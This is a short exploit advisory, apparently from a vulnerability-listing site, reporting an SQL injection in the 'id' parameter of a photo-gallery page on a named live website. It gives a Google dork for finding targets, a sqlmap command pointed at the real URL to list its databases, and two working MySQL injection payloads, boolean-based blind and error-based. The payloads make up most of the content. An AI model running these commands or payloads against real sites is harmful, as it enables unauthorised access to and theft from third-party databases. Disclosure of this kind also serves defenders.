CANSNASHIK - SQL Injection vulnerability

2020.09.04
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

**************************** #Exploit Title: CANSNASHIK - SQL Injection vulnerability #Date: 2020-09-03 #Exploit Author: Mahdi Karimi #Vendor Homepage: http://cansnashik.org #Google Dork: photo gallery.php?id= #Tested On: windows 10 sqlmap: sqlmap -u "http://cansnashik.org/photo-gallery.php?id=4" --dbs Testing Method; - boolean-based blind - error-based Parameter: id (GET) Type: boolean-based blind Title: MySQL >= 5.0 boolean-based blind - Parameter replace Payload: id=(SELECT (CASE WHEN (7535=7535) THEN 7535 ELSE 7535*(SELECT 7535 FROM INFORMATION_SCHEMA.PLUGINS) END)) Type: error-based Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR) Payload: id=(SELECT 3022 FROM(SELECT COUNT(*),CONCAT(0x716b767671,(SELECT (ELT(3022=3022,1))),0x717a706a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) ************************************************** #Discovered by: Mahdi Karimi #Email : mjoker22mjoker22@gmail.com **************************************************


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020, cxsecurity.com

 

Back to Top